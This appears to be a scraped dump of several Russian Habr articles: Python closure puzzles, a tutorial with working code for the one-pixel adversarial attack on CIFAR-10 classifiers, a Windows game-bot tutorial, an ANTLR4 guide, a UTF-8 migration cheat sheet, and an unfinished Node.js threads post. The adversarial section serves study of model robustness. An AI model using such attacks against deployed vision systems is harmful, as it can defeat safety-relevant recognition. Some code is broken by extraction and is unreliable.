Получается, что при вызове `c.a()` мы получаем `C.a(c)`. Тут в качестве аргумента `self` в метод валидно передастся экземпляр класса. Далее внутри `a` вызывается функция `b`. Поскольку это обычная функция, то «автоматической» передачи экземпляра в качестве первого аргумента не произойдёт. И получается, что функция `b` вызовется без аргументов. Но она требует аргумент! Ведь она задана как `lambda self: None`. Не обращайте внимание, что аргумент называется `self`. Это сделано для дополнительного запутывания.
Итак, ответ:
```
Traceback (most recent call last):
File "", line 1, in
File "", line 2, in
TypeError: () missing 1 required positional argument: 'self'
```
Это происходит потому, что функции `b` не передан аргумент.
### Четвёртый пример
Он про определение переменных в замыкании. Взят из списка хитрых вопросов с [toptall](https://www.toptal.com/python/top-10-mistakes-that-python-programmers-make):
```
def create_multipliers():
return [lambda x : i * x for i in range(5)]
for multiplier in create_multipliers():
print(multiplier(2))
```
Кажется, ничего сложного. `create_multipliers` вернёт список из 5 функций (назовём их `list_lamba_f`). Каждая `list_lamba_f` будет умножать свой аргумент на свой индекс в результирующем массиве.
Получается, что на экране мы увидим:
```
0
2
4
6
8
```
Дальнейший разбор предполагает, что вам знакомо замыкание (closure) при использовании вложенных функций (nested functions).
Свои коррективы в наивное объяснение выше вносит позднее связывание. Согласно ему, значение переменной из замыкания (это переменная `i`) вычисляется в тот момент, когда вызывается внутренняя функция (наши `list_lamba_f`).
Получается, что значение `i` в `list_lamba_f` вычисляется в момент вызова `multiplier(2)` в пятой строчке. Но в этот момент `create_multipliers` уже отработала целиком. и значение `i` — это 4. То есть для всех `list_lamba_f` значение `i` равно 4.
Итак, ответ:
```
8
8
8
8
8
```
Надеюсь, вам было интересно и понятно. С удовольствием почитаю комментарии с вопросами и задачами, которые кажутся вам полезными для понимания Python и просто занятными. Только не пишите ответ сразу! | https://habr.com/ru/post/525994/ | null | ru | null |
# One pixel attack. Или как обмануть нейронную сеть
Давайте познакомимся с одной из атак на нейросети, которая приводит к ошибкам классификации при минимальных внешних воздействиях. Представьте на минуту, что нейросеть это вы. И в данный момент, попивая чашечку ароматного кофе, вы классифицируете изображения котиков с точностью более 90 процентов даже не подозревая, что “атака одного пикселя” превратила всех ваших “котеек” в грузовики.
А теперь поставим на паузу, отодвинем кофе в сторону, импортируем все необходимые нам библиотеки и разберем как работают подобные атаки one pixel attack.
Цель данной атаки заставить алгоритм (нейросеть) выдать некорректный ответ. Ниже увидим это с несколькими различными моделями сверточных нейронных сетей. Используя один из методов многомерной математической оптимизации — дифференциальную эволюцию, найдем особенный пиксель, способный изменить изображение так, чтобы нейросеть стала неправильно классифицировать это изображение (несмотря на то, что ранее алгоритм “узнавал” это же изображение корректно и с высокой точностью).
Импортируем библиотеки:
```
# Python Libraries
%matplotlib inline
import pickle
import numpy as np
import pandas as pd
import matplotlib
from keras.datasets import cifar10
from keras import backend as K
# Custom Networks
from networks.lenet import LeNet
from networks.pure_cnn import PureCnn
from networks.network_in_network import NetworkInNetwork
from networks.resnet import ResNet
from networks.densenet import DenseNet
from networks.wide_resnet import WideResNet
from networks.capsnet import CapsNet
# Helper functions
from differential_evolution import differential_evolution
import helper
matplotlib.style.use('ggplot')
```
Для нашего эксперимента загрузим датасет CIFAR-10, содержащий изображения реального мира, разбитых на 10 классов.
```
(x_train, y_train), (x_test, y_test) = cifar10.load_data()
class_names = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']
```
Посмотрим на любое изображение по его индексу. Например, вот на эту лошадь.
```
image_id = 99 # Image index in the test set
helper.plot_image(x_test[image_id])
```
Нам придется искать тот самый могучий пиксель, способный изменить ответ нейросети, а значит, пора написать функцию для изменения одного или нескольких пикселей изображения.
```
def perturb_image(xs, img):
# If this function is passed just one perturbation vector,
# pack it in a list to keep the computation the same
if xs.ndim < 2:
xs = np.array([xs])
# Copy the image n == len(xs) times so that we can
# create n new perturbed images
tile = [len(xs)] + [1]*(xs.ndim+1)
imgs = np.tile(img, tile)
# Make sure to floor the members of xs as int types
xs = xs.astype(int)
for x,img in zip(xs, imgs):
# Split x into an array of 5-tuples (perturbation pixels)
# i.e., [[x,y,r,g,b], ...]
pixels = np.split(x, len(x) // 5)
for pixel in pixels:
# At each pixel's x,y position, assign its rgb value
x_pos, y_pos, *rgb = pixel
img[x_pos, y_pos] = rgb
return imgs
```
Проверим?! Изменим один пиксель нашей лошади с координатами (16, 16) на желтый.
```
image_id = 99 # Image index in the test set
pixel = np.array([16, 16, 255, 255, 0]) # pixel = x,y,r,g,b
image_perturbed = perturb_image(pixel, x_test[image_id])[0]
helper.plot_image(image_perturbed)
```
Для демонстрации атаки необходимо загрузить предобученные модели нейронных сетей на нашем датасете CIFAR-10. Мы будем использовать две модели lenet и resnet, но вы можете использовать для своих экспериментов и другие, раскомментировав соответствующие строки кода.
```
lenet = LeNet()
resnet = ResNet()
models = [lenet, resnet]
```
После загрузки моделей необходимо оценить тестовые изображения каждой модели, чтобы убедиться что мы атакуем только изображения, которые правильно классифицированы. Код ниже отображает точность и количество параметров каждой модели.
```
network_stats, correct_imgs = helper.evaluate_models(models, x_test, y_test)
correct_imgs = pd.DataFrame(correct_imgs, columns=['name', 'img', 'label', 'confidence', 'pred'])
network_stats = pd.DataFrame(network_stats, columns=['name', 'accuracy', 'param_count'])
network_stats
Evaluating lenet
Evaluating resnet
Out[11]:
name accuracy param_count
0 lenet 0.748 62006
1 resnet 0.9231 470218
```
Все подобные атаки можно разделить на два класса: WhiteBox и BlackBox. Разница между ними в том, что в первом случае нам все достоверно известно об алгоритме, модели с которой имеем дело. В случае с BlackBox все что нам нужно это входные данные (изображение) и выходные данные (вероятности отнесения к одному из классов). Атака одного пикселя (one pixel attack) относится к BlackBox.
В этой статье рассмотрим два варианта атаки одного пикселя: untargeted и targeted. В первом случае нам будет абсолютно все равно к какому классу отнесет нейронная сеть нашего котика, главное, чтобы не к классу котиков. Targeted атака применима когда мы хотим, чтобы наш котик непременно стал грузовиком и только грузовиком.
Но как же найти те самые пиксели, изменение которых приведет к изменению класса изображения? Как найти пиксель, поменяв который one pixel attack станет возможна и успешна? Давайте попробуем сформулировать эту проблему как задачу оптимизации, но только очень простыми словами: при untargeted attack мы должны минимизировать доверие к нужному классу, а при targeted — максимизировать доверие к целевому классу.
При проведении подобного рода атак трудно оптимизировать функцию с помощью градиента. Необходимо использовать алгоритм оптимизации, который не полагается на гладкость функции.
Напомним, что для нашего эксперимента мы используем датасет CIFAR-10, содержащий изображения реального мира, размером 32 х 32 пикселя, разбитых на 10 классов. А это означает, что у нас есть целочисленные дискретные значения от 0 до 31 и интенсивности цвета от 0 до 255, и функция ожидается не гладкая, а скорее зазубренная, как показано ниже:
Именно поэтому мы используем алгоритм дифференциальной эволюции.
Но вернемся к коду и напишем функцию, которая возвращает вероятность достоверности модели. Если целевой класс является правильным, то эту функцию мы хотим минимизировать, чтобы модель была уверена в другом классе (что не верно).
```
def predict_classes(xs, img, target_class, model, minimize=True):
# Perturb the image with the given pixel(s) x and get the prediction of the model
imgs_perturbed = perturb_image(xs, img)
predictions = model.predict(imgs_perturbed)[:,target_class]
# This function should always be minimized, so return its complement if needed
return predictions if minimize else 1 - predictions
image_id = 384
pixel = np.array([16, 13, 25, 48, 156])
model = resnet
true_class = y_test[image_id, 0]
prior_confidence = model.predict_one(x_test[image_id])[true_class]
confidence = predict_classes(pixel, x_test[image_id], true_class, model)[0]
print('Confidence in true class', class_names[true_class], 'is', confidence)
print('Prior confidence was', prior_confidence)
helper.plot_image(perturb_image(pixel, x_test[image_id])[0])
Confidence in true class bird is 0.00018887444
Prior confidence was 0.70661753
```
Следующая функция понадобится нам, чтобы подтверждать критерий успеха атаки, она будет возвращать True, когда изменения было достаточно, чтобы обмануть модель.
```
def attack_success(x, img, target_class, model, targeted_attack=False, verbose=False):
# Perturb the image with the given pixel(s) and get the prediction of the model
attack_image = perturb_image(x, img)
confidence = model.predict(attack_image)[0]
predicted_class = np.argmax(confidence)
# If the prediction is what we want (misclassification or
# targeted classification), return True
if verbose:
print('Confidence:', confidence[target_class])
if ((targeted_attack and predicted_class == target_class) or
(not targeted_attack and predicted_class != target_class)):
return True
# NOTE: return None otherwise (not False), due to how Scipy handles its callback function
```
Посмотрим на работу функции критерия успеха. В целях демонстрации предполагаем нецелевую атаку.
```
image_id = 541
pixel = np.array([17, 18, 185, 36, 215])
model = resnet
true_class = y_test[image_id, 0]
prior_confidence = model.predict_one(x_test[image_id])[true_class]
success = attack_success(pixel, x_test[image_id], true_class, model, verbose=True)
print('Prior confidence', prior_confidence)
print('Attack success:', success == True)
helper.plot_image(perturb_image(pixel, x_test[image_id])[0])
Confidence: 0.07460087
Prior confidence 0.50054216
Attack success: True
```
Пора собрать все пазлы в одну картинку. Будем использовать небольшую модификацию реализации дифференциальной эволюции в Scipy.
```
def attack(img_id, model, target=None, pixel_count=1,
maxiter=75, popsize=400, verbose=False):
# Change the target class based on whether this is a targeted attack or not
targeted_attack = target is not None
target_class = target if targeted_attack else y_test[img_id, 0]
# Define bounds for a flat vector of x,y,r,g,b values
# For more pixels, repeat this layout
bounds = [(0,32), (0,32), (0,256), (0,256), (0,256)] * pixel_count
# Population multiplier, in terms of the size of the perturbation vector x
popmul = max(1, popsize // len(bounds))
# Format the predict/callback functions for the differential evolution algorithm
def predict_fn(xs):
return predict_classes(xs, x_test[img_id], target_class,
model, target is None)
def callback_fn(x, convergence):
return attack_success(x, x_test[img_id], target_class,
model, targeted_attack, verbose)
# Call Scipy's Implementation of Differential Evolution
attack_result = differential_evolution(
predict_fn, bounds, maxiter=maxiter, popsize=popmul,
recombination=1, atol=-1, callback=callback_fn, polish=False)
# Calculate some useful statistics to return from this function
attack_image = perturb_image(attack_result.x, x_test[img_id])[0]
prior_probs = model.predict_one(x_test[img_id])
predicted_probs = model.predict_one(attack_image)
predicted_class = np.argmax(predicted_probs)
actual_class = y_test[img_id, 0]
success = predicted_class != actual_class
cdiff = prior_probs[actual_class] - predicted_probs[actual_class]
# Show the best attempt at a solution (successful or not)
helper.plot_image(attack_image, actual_class, class_names, predicted_class)
return [model.name, pixel_count, img_id, actual_class, predicted_class, success, cdiff, prior_probs, predicted_probs, attack_result.x]
```
Пришло время поделиться результатами исследования (проведенной атаки) и посмотреть как изменение лишь одного пикселя превратит лягушку в собаку, кота в лягушку, а автомобиль в самолет. А ведь чем больше точек изображения позволено изменять, тем выше вероятность успешной атаки на любое изображение.
Продемонстрируем успешную атаку на изображение лягушки с помощью модели resnet. Мы должны увидеть уверенность в истинном снижении класса после нескольких итераций.
```
image_id = 102
pixels = 1 # Number of pixels to attack
model = resnet
_ = attack(image_id, model, pixel_count=pixels, verbose=True)
Confidence: 0.9938618
Confidence: 0.77454716
Confidence: 0.77454716
Confidence: 0.77454716
Confidence: 0.77454716
Confidence: 0.77454716
Confidence: 0.53226393
Confidence: 0.53226393
Confidence: 0.53226393
Confidence: 0.53226393
Confidence: 0.4211318
```
Это были примеры untargeted attack, а теперь проведем targeted attack и выберем к какому классу мы бы хотели, чтобы модель отнесла (классифицировала) изображение. Задача намного сложнее предыдущей, ведь мы заставим нейросеть классифицировать изображение корабля как автомобиля, а лошадь как кота.
Ниже мы попытаемся заставить lenet классифицировать изображение корабля как автомобиля.
```
image_id = 108
target_class = 1 # Integer in range 0-9
pixels = 3
model = lenet
print('Attacking with target', class_names[target_class])
_ = attack(image_id, model, target_class, pixel_count=pixels, verbose=True)
Attacking with target automobile
Confidence: 0.044409167
Confidence: 0.044409167
Confidence: 0.044409167
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.054611664
Confidence: 0.081972085
Confidence: 0.081972085
Confidence: 0.081972085
Confidence: 0.081972085
Confidence: 0.1537778
Confidence: 0.1537778
Confidence: 0.1537778
Confidence: 0.22246778
Confidence: 0.23916133
Confidence: 0.25238588
Confidence: 0.25238588
Confidence: 0.25238588
Confidence: 0.44560355
Confidence: 0.44560355
Confidence: 0.44560355
Confidence: 0.5711696
```
Разобравшись с единичным случаями проведения атак, соберем статистику, используя архитектуру сверточных нейронных сетей ResNet, пройдясь по каждой модели, изменяя 1, 3 или 5 пикселей каждого изображения. В этой статье покажем итоговые выводы не утруждая читателя ознакомлением с каждой итерацией, поскольку это занимает немало времени и вычислительных ресурсов.
```
def attack_all(models, samples=500, pixels=(1,3,5), targeted=False,
maxiter=75, popsize=400, verbose=False):
results = []
for model in models:
model_results = []
valid_imgs = correct_imgs[correct_imgs.name == model.name].img
img_samples = np.random.choice(valid_imgs, samples, replace=False)
for pixel_count in pixels:
for i, img_id in enumerate(img_samples):
print('\n', model.name, '- image', img_id, '-', i+1, '/', len(img_samples))
targets = [None] if not targeted else range(10)
for target in targets:
if targeted:
print('Attacking with target', class_names[target])
if target == y_test[img, 0]:
continue
result = attack(img_id, model, target, pixel_count,
maxiter=maxiter, popsize=popsize,
verbose=verbose)
model_results.append(result)
results += model_results
helper.checkpoint(results, targeted)
return results
untargeted = attack_all(models, samples=100, targeted=False)
targeted = attack_all(models, samples=10, targeted=False)
```
Для проверки возможности дискредитации сети был разработан алгоритм и измерено его влияние на качество прогноза решения по распознаванию образов.
Посмотрим окончательные результаты.
```
untargeted, targeted = helper.load_results()
columns = ['model', 'pixels', 'image', 'true', 'predicted', 'success', 'cdiff', 'prior_probs', 'predicted_probs', 'perturbation']
untargeted_results = pd.DataFrame(untargeted, columns=columns)
targeted_results = pd.DataFrame(targeted, columns=columns)
```
В приведенной таблице видно, что используя нейронную сеть ResNet с точностью 0.9231, меняя несколько пикселей изображения, мы получили очень неплохой процент успешно атакованных изображений (attack\_success\_rate).
```
helper.attack_stats(targeted_results, models, network_stats)
Out[26]:
model accuracy pixels attack_success_rate
0 resnet 0.9231 1 0.144444
1 resnet 0.9231 3 0.211111
2 resnet 0.9231 5 0.222222
helper.attack_stats(untargeted_results, models, network_stats)
Out[27]:
model accuracy pixels attack_success_rate
0 resnet 0.9231 1 0.34
1 resnet 0.9231 3 0.79
2 resnet 0.9231 5 0.79
```
В своих экспериментах вы вольны использовать и другие архитектуры искусственных нейронных сетей, благо их в настоящее время великое множество.
Нейросети окутали современный мир незримыми нитями. Уже давно придуманы сервисы, где используя ИИ (искусственный интеллект), пользователи получают обработанные фото, стилистически похожие на работы кисти великих художников, а сегодня алгоритмы уже умеют сами рисовать картины, создавать музыкальные шедевры, писать книги и даже сценарии к фильмам.
Такие сферы, как компьютерное зрение, распознавание лиц, беспилотные автомобили, диагностика заболеваний — принимают важные решения и не имеют права на ошибку, а вмешательство в работу алгоритмов приведет к катастрофическим последствиям.
One pixel attack – один из способов спуфинг атак. Для проверки возможности дискредитации сети был разработан алгоритм и измерено его влияние на качество прогноза решения по распознаванию образов. Результат показал, что применяющиеся сверточные архитектуры нейросетей уязвимы перед специально обученным алгоритмом One pixel attack, который подменяет один пиксель, с целью дискредитации алгоритма распознавания.
Статью подготовили **Александр Андроник** и **Адрей Черный-Ткач** в рамках стажировки в компании **Data4**. | https://habr.com/ru/post/498114/ | null | ru | null |
# Игровые боты. Начало
Что может быть интереснее процесса игры в игры? Правильно! Процесс наблюдения за тем, как играет в игры написанный тобой бот.
Некоторое время, я размышлял, о чём бы написать свою первую статейку. Хотел написать о программировании микроконтроллеров, но оказалось трудно отделить части рабочих проектов от тех, что можно опубликовать без оглядки на коллег. Остановился на идее о ботах.
##### Введение
Боты для онлайн игр я бы грубо разделил на 3 разновидности по способам реализации:
1. Боты не использующие приложение игры. Имитирующие протокол обмена с сервером.
2. Боты работающие с процессом приложения игры. В случае с Web, работающие с окном браузера.
3. Боты работающие со скриншотом и имитирующие устройства ввода мышь и клавиатуру.
~~Первая разновидность скорее гипотетическая, т.к. протоколы, как правило, закрыты и не тривиальны.~~
Первая разновидность больше подходит для ботов с простыми и текстовыми протоколами. Если на сервер передаются бинарные данные, то предстоит разобраться с их структурой, что усложняет задачу.
Вторая разновидность более реальна и может быть реализована. Бот второго вида получает полезную информацию из памяти процесса игры. Недостаток — версии клиентов могут регулярно обновляться и тогда может потребоваться заново искать интересующие адреса памяти.
Мы рассмотрим третюю разновидность ботов, т.к. ИМХО они более привлекательны, хоть и не лишены недостатков.
А так же, такой подход более спортивный :-)
В этой статье я рассмотрю набор инструментов для самого простого бота для Windows.
Для самого простого бота достаточно эмитировать события мыши и клавиатуры. В большинстве случаев этого оказывается достаточно для решения (не самого эффективного, но не требующего участия человека) рутинных дел в различных играх. Для более эффективной работы бота требуется обратная связь с игрой, т.е. получение и обработка скриншотов игры.
##### Код
Для разработки приложений я буду использовать Qt Creator + Qt 5 либы (так мне привычнее) и раз бот для Виндовс то + windows.h (WinAPI).
Инклуды:
```
#include // WinAPI
#include // std::cout
#include // sleep(), usleep()
#include
```
Хидер бота:
```
// Индексы точек
enum {
menu=0,
elm_1,
points_cnt
};
class MyBot
{
public:
MyBot();
void run();
void move_to(int inx);
void lclick_to(int inx);
void rclick_to(int inx);
void drag(int from_inx,int to_inx);
POINT point[points_cnt];
};
```
Конструктор:
```
MyBot::MyBot() :
// Массив координат органов управления (по которым мы будем кликать мышкой)
point({
{100,100}, // 0 - menu
{130,130}, // 1 - elm_1
})
{
}
```
Регистрация горячих кнопок для управления ботом:
```
RegisterHotKey((HWND)Widget::winId(), 101, MOD_ALT, VK_F1); // Запуск бота
RegisterHotKey((HWND)Widget::winId(), 102, MOD_ALT, VK_F2); // inx++
RegisterHotKey((HWND)Widget::winId(), 103, MOD_ALT, VK_F3); // Проверить точку inx
RegisterHotKey((HWND)Widget::winId(), 104, MOD_ALT, VK_F4); // Запомнить точку inx
RegisterHotKey((HWND)Widget::winId(), 105, MOD_ALT, VK_F5); // Вывести в консоль массив координат
```
Обработка событий нажатия кнопок управления ботом:
```
int inx=0;
MyBot bot;
bool Widget::nativeEvent(const QByteArray & eventType, void * message, long * result){
Q_UNUSED(result);
Q_UNUSED(eventType);
MSG* msg = reinterpret_cast(message);
if(msg->message!=WM\_HOTKEY)return false;
switch(msg->wParam){
case 101: // Alt-F1 - запуск бота
bot.run();
return true;
case 102: // Alt-F2 - inx++
if(inx
```
Перемещение указателя мыши к нужной точке:
(выполнено не очень аккуратно, обещаю исправиться :-))
```
#define width 1920
#define height 1080
void MyBot::move_to(int inx){
int x=point[id].x;
int y=point[id].y;
POINT pt;
GetCursorPos(&pt);
int from_x=pt.x;
int from_y=pt.y;
int to_x=x;
int to_y=y;
int dx=to_x-from_x;
int dy=to_y-from_y;
float fdx;
float fdy;
int loop_cnt;
if(abs(dx)>abs(dy) && dx!=0){
fdx=dx<0? -1.0 :1.0;
fdy=(float)dy/abs(dx);
loop_cnt=abs(dx);
}
else if(dy!=0){
fdy=dy<0? -1.0 :1.0;
fdx=(float)dx/abs(dy);
loop_cnt=abs(dy);
}
else return;
// двинуть за 1 секунду
int time=1000000/loop_cnt;
float fx=from_x;
float fy=from_y;
for(int i=0;i
```
Клики:
```
void MyBot::lclick_to(int inx){
move_to(inx);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
usleep(50000);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
usleep(100000);
}
void MyBot::rclick_to(int inx){
move_to(inx);
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
usleep(50000);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
usleep(100000);
}
```
Перетаскивание:
```
void MyBot::drag(int from_inx, to_inx){
move_to(from_inx);
usleep(50000);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
usleep(70000);
move_to(to_inx);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
usleep(30000);
}
```
Работа бота:
```
void MyBot::run(){
rclick_to(menu); // кликнем правой кнопкой для вызова контекстного меню
lclick_to(elm_1); // кликнем левой кнопкой по строке меню
}
```
##### Мануал юзера
Перед запуском бота горячей кнопкой Alt-F1, бот следует сначала настроить, определив верные координаты органов управления по которым бот будет кликать.
Для запоминания координат точки наводим указатель месту и жмём Alt-F4.
Для проверки корректности точки отводим указатель в сторону и жмём Alt-F3.
Для настройки следующей точки жмём Alt-F2.
Для сохранения верных координат жмём Alt-F5.
##### Подводные камни
Опыт показывает, что не стоит торопиться кликать по органам управления и двигать указатель. Часто игры притормаживают, при наведении мыши на кнопку срабатывает отрисовка подсветки и прочие неведанные процессы и торопливость приводит к несрабатыванию клика или захвата при перетягивании и т.п. и как следствие неработоспособность бота. При ручном управлении, люди обычно таких досадных мелочей даже не замечают, так как работает обратная связь через органы зрения. Решение — делать паузы после всех элементарных действий.
Окно игры может произвольно свернуться в следствии появления сообщения от виндозы или ещё по каким причинам. В программе последовательности кликов и пауз стоит предусмотреть клик по иконке свёрнутой игры.
Qt Creator: [qt-project.org/downloads](http://qt-project.org/downloads)
Исходный код проекта на гитхабе: [github.com/rumaster/my\_bot\_v1](https://github.com/rumaster/my_bot_v1)
P.S. Не подумайте что я ярый противник онлайн игр, раз публикую исходники ботов. Я противник дискриминации ИИ (ботов) и за развитие онного. А ещё, игры — двигатель прогресса.
P.P.S. Говоря ИИ, я подразумеваю программу способную получать и обрабатывать (анализировать) информацию, планировать и выполнять действия в соответствии с целями и результатами анализа ситуации. | https://habr.com/ru/post/212779/ | null | ru | null |
# Пошаговое руководство работы с Antlr4 с Maven проектом для Java через Intellij Idea
ANTLR — это генератор парсеров, который позволяет создавать парсер по описанию грамматики на одном из основных языков программирования. Он сам написан на java и прекрасно работает с Java.
Пошаговое руководство:
1) Поставить Oracle Java JDK и Intellij Idea, (можно пропустить этот шаг, если они уже поставлены), и запустить Intellij Idea
2) File-Setting-Plugins
Bвести в поле поиска ANTLR и поставить плагин ANTLR v4 grammar plugin. Возможно, понадобится дополнительный поиск по всем репозиториям.
3) Для Maven проекта добавить в pom.xml или создать новый проект.
в dependencies
```
org.antlr
antlr4-runtime
4.7
```
и в plugins
```
org.antlr
antlr4-maven-plugin
4.7
antlr4
```
Подробности <https://github.com/antlr/antlr4/blob/master/doc/java-target.md>
4) Далее создам и добавляем вручную файл грамматики с расширением .g4. Имя файла должно совпадать с словом после grammar в первой строчке. Составляется она примерно так: берем то, что нужно парсить, и разбиваем на отдельные токены. Для токенов описываем лексемы, например все английские буквы [a-zA-Z];, все числа [0-9] и т.п.. Для примера взято содержимое примера с официального сайта для файла Hello.g4
```
// Define a grammar called Hello
grammar Hello;
r : 'hello' ID ; // match keyword hello followed by an identifier
ID : [a-z]+ ; // match lower-case identifiers
WS : [ \t\r\n]+ -> skip ; // skip spaces, tabs, newlines
```
5) Далее правой кнопкой мыши кликнуть по второй строчке файла, которая начинается с r и выбрать пункт меню Test Rule r
Внизу откроются окна проверки грамматики. В данном случае, плагин показывает ошибку, скорее всего связанную с тем, что это тестовый пример, однако парсер генерируется. Про это можно почитать здесь <https://github.com/antlr/antlr4/issues/118>, и пока ее проигнорируем. Но в реальных проектах, надо бы внимательнее обращать внимание на эти ошибки.
6) Кликаем по файлу грамматики правой кнопкой мыши, выбираем пункт меню Configute ANTLR Recoqnizer и генерируем парсер
После этого появится в правом нижнем углу сообщение об успехе
7) Далее снова кликаем по файлу правой кнопкой мыши и выбираем пункт меню Configute ANTLR,
и выходит окно для конфигурирования генерации файлов
В этом окне вводим данные о папке назначения и языке программирования, в нашем случае Java, нужны ли visitor или listener, а также другую требуемую информацию, и нажимаем кнопку ОК
И ANTLR после этого генерирует файлы для распознавания. Тем не менее, хотя выходной каталог указан, часто создается новая папка gen в корне проекта, причем java не распознает эти файлы.
Для того, чтобы java увидела эти файлы, папку нужно либо пометить правой кнопкой мыши «Mark Directory As» на «Generated Sources Root» на папку gen.
И должно получится так:
8) ANTLR сгенерировал такие классы:
Класс HelloParser.java — это описание класса парсера, то есть синтаксического анализатора, отвечающего грамматике Hello:
```
public class HelloParser extends Parser { ... }
```
Класс HelloLexer.java — это описание класса лексера, или лексического анализатора, отвечающего грамматике HelloInit:
```
public class HelloLexer extends Lexer { ... }
```
Hello.tokens, HelloLexer.tokens — это вспомогательные классы, которые содержат информацию о токенах HelloListener.java, HelloBaseListener.java, HelloBaseVisitor, HelloVisitor — это классы, содержащие описания методов, которые позволяют выполнять определенный действия при обходе синтаксического дерева
9) После этого добавим класс HelloWalker (хотя это класс не обязателен, этот код можно изменить и добавить в Main для вывода информации)
```
public class HelloWalker extends HelloBaseListener {
public void enterR(HelloParser.RContext ctx ) {
System.out.println( "Entering R : " + ctx.ID().getText() );
}
public void exitR(HelloParser.RContext ctx ) {
System.out.println( "Exiting R" );
}
}
```
10) И, наконец, класс Main — точка входа в программу
```
public class Main {
public static void main( String[] args) throws Exception
{
HelloLexer lexer = new HelloLexer(CharStreams.fromString("hello world"));
CommonTokenStream tokens = new CommonTokenStream(lexer);
HelloParser parser = new HelloParser(tokens);
ParseTree tree = parser.r();
ParseTreeWalker walker = new ParseTreeWalker();
walker.walk(new HelloWalker(), tree);
}
}
```
11) Запускаем метод main, и получаем на выходе в консоли успешно отработанный парсинг
```
Entering R : world
Exiting R
```
→ Код проекта выложен [здесь](https://github.com/savimar/Antlr4JavaIntellijIdea) | https://habr.com/ru/post/341138/ | null | ru | null |
# Шпаргалка по переходу на UTF-8
Узелок по UTF-8: есть сайт в кодировке X, нужно перевести в UTF-8
Излогаю краткий список того, что нада переводить в UTF-8, чтоб сайт работал корректно.
1. База MySQL в часности
2. Инсталляция mbstring
3. Конфигурация mbstring
4. Дело с небезопасными мультибайтовыми функциями в PHP
5. htmlentities() для мультибайтных строк
6. Проверка content-type хэдэров
7. Проверте бинарные файлы и строки
#### 1. База MySQL в часности
Если сайт должен работать с UTF-8, то в базе все должно в UTF-8 сохранятся. Вполне логично. Делаем так для создания новой БД:
> `CREATE DATABASE db_name
>
> CHARACTER SET utf8
>
> DEFAULT CHARACTER SET utf8
>
> COLLATE utf8_general_ci
>
> DEFAULT COLLATE utf8_general_ci
>
> ;`
Для изменения существующей так:
> `ALTER DATABASE db_name
>
> CHARACTER SET utf8
>
> DEFAULT CHARACTER SET utf8
>
> COLLATE utf8_general_ci
>
> DEFAULT COLLATE utf8_general_ci
>
> ;`
Для таблиц так:
> `ALTER TABLE tbl_name
>
> DEFAULT CHARACTER SET utf8
>
> COLLATE utf8_general_ci
>
> ;`
#### 2. Инсталляция mbstring
[Windows](http://ru.php.net/install.windows.extensions)
Линукс (Дебиан в часности):# aptitude install php-mbstring
#### 3. Конфигурация mbstring
Делаем следующее в **php.ini**, **httpd.conf** или **.htaccess** (Не забудьте доставить php\_value для **httpd.conf** или **.htaccess**).
> `mbstring.language = Neutral ; Set default language to Neutral(UTF-8) (default)
>
> mbstring.internal_encoding = UTF-8 ; Set default internal encoding to UTF-8
>
> mbstring.encoding_translation = On ; HTTP input encoding translation is enabled
>
> mbstring.http_input = auto ; Set HTTP input character set dectection to auto
>
> mbstring.http_output = UTF-8 ; Set HTTP output encoding to UTF-8
>
> mbstring.detect_order = auto ; Set default character encoding detection order to auto
>
> mbstring.substitute_character = none ; Do not print invalid characters
>
> default_charset = UTF-8 ; Default character set for auto content type header`
#### 4. Дело с небезопасными мультибайтовыми функциями в PHP
Наведу список функций, которыми нада пользоватся для правильной роботы вашего сценария:
| | |
| --- | --- |
| mail() | mb\_send\_mail() |
| strlen() | mb\_strlen() |
| strpos() | mb\_strpos() |
| strrpos() | mb\_strrpos() |
| substr() | mb\_substr() |
| strtolower() | mb\_strtolower() |
| strtoupper() | mb\_strtoupper() |
| substr\_count() | mb\_substr\_count() |
| ereg() | mb\_ereg() |
| eregi() | mb\_eregi() |
| ereg\_replace() | mb\_ereg\_replace() |
| eregi\_replace() | mb\_eregi\_replace() |
| split() | mb\_split() |
#### 5. htmlentities() для мультибайтных строк
Простая функция-заменитель с php.net. Для простых текстов должно хватить.
`/**
* Multibyte equivalent for htmlentities() [lite version :)]
*
* @param string $str
* @param string $encoding
* @return string
**/
function mb_htmlentities($str, $encoding = 'utf-8') {
mb_regex_encoding($encoding);
$pattern = array('<', '>', '"', '\'');
$replacement = array('<', '>', '"', ''');
for ($i=0; $i
$str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
}
return $str;
}`
#### 6. Проверка content-type хэдэров
Все просто. Меняем любой на:
`header('Content-Type: text/html; charset=UTF-8');`
#### 7. Проверить бинарные файлы и строки
Вам прийдется пересмостеть все-все-все и ничего не забыть =)
> Шпаргалка, никак не статья. | https://habr.com/ru/post/13969/ | null | ru | null |
# Играем с потоками в Node.JS 10.5.0
### Доброго времени суток
[](https://habr.com/post/416015/)
У меня на работе возник спор между мной и дотнетчиками насчет потоков в новой версии Node.JS и необходимости их синхронизоровать. Для начала решили выбрать задачу о параллельной записи строк в файл. Тема с worker\_threads горячая, прошу под кат.
Немного о самих потоках. Они являются экспериментальной технологией в Node.JS 10.5.0, и для того, чтобы иметь доступ к модулю «worker\_threads», необходимо запускать наше Node.JS приложение с флагом "--experimental-worker". Я прописал этот флаг в start скрипте в файле package.json:
```
{
"name": "worker-test",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node --max-old-space-size=4096 --experimental-worker app.js "
},
"author": "",
"license": "ISC"
}
```
Теперь о самой логике. Главный поток порождает N рабочих потоков, все они пишут с каким-то интервалом в файл. В отличие от всех примеров, где главные и дочерние потоки стартуют с одного файла, я отделил потоки в отдельный, мне это кажется более чистым и элегантным.
Собственно, код.
Главный файл app.js — точка входа.
```
const { Worker } = require('worker_threads');
const path = require('path');
const WORKERS_NUMBER = 100;
console.log('Hello from main!');
for (var i = 1; i <= WORKERS_NUMBER ; i++) {
